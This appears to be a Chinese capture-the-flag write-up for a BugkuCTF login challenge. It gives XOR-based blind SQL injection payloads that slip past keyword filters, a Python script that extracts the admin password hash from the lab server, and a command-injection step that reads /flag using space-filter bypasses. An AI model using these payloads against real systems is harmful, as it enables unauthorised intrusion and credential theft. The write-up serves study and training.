0x00 方法一
输入admin,密码随便填,得到:password error!!@_@
输入admin',密码随便填,得到:username error!!@_@
输入admin'^'1'^'1,密码随便填,得到:password error!!@_@
输入admin'^'0'^'1,密码随便填,得到:username error!!@_@
搂一遍可用的字符串/函数,经测试ascii、substr、括号、select、下划线、=这些都可以用。此外,过滤了逗号、for、*、ord、or、+、union、information等。
写脚本,判断第一位的ascii:
admin'^(ascii(substr(database()from(1)))>13)^'1
回显password error!!@_@,说明库名的第一个字符的ascii大于13
admin'^(ascii(substr(database()from(1)))>13)^'1
回显username error!!@_@,说明库名的第一个字符的ascii小于123
同理,写脚本拿到密码的md5值:
import requests
url='http://114.67.246.176:15783/login.php'
flag=""
for j in range(1,50):
for i in range(32,128):
payload = "admin'^(ascii(substr((select(passwd)from(admin))from("+str(j)+")))="+str(i)+")^'1"
data = {
"uname": payload,
"passwd": "123"
}
test = requests.post(url=url,data=data).text
if 'password' in test:
flag += chr(i)
print(flag)
break

把得到的内容用somd5进行解密,得到bugkuctf,成功登入。
来到了命令执行页面,可以使用{cmd,arg}的方式查看根目录,我这里在本地试了下:

还可以把空格+flag注册成变量去执行:

或者最简单的= =,,cat</flag
0x01 方法二
题目给了提示,在/images目录下有这样一张图:

根据图片可知,''=0即空字符串和0进行比较,字符串在比较时转化为0,返回真。
因为还要闭合后面的引号,所以构造'=0-'(即''=0-'')
输入'=0-',密码随便填,得到:password error!!@_@
输入'=1-',密码随便填,得到:username error!!@_@
剩下同上。
⚪参考:https://blog.csdn.net/qq_41209264/article/details/112257878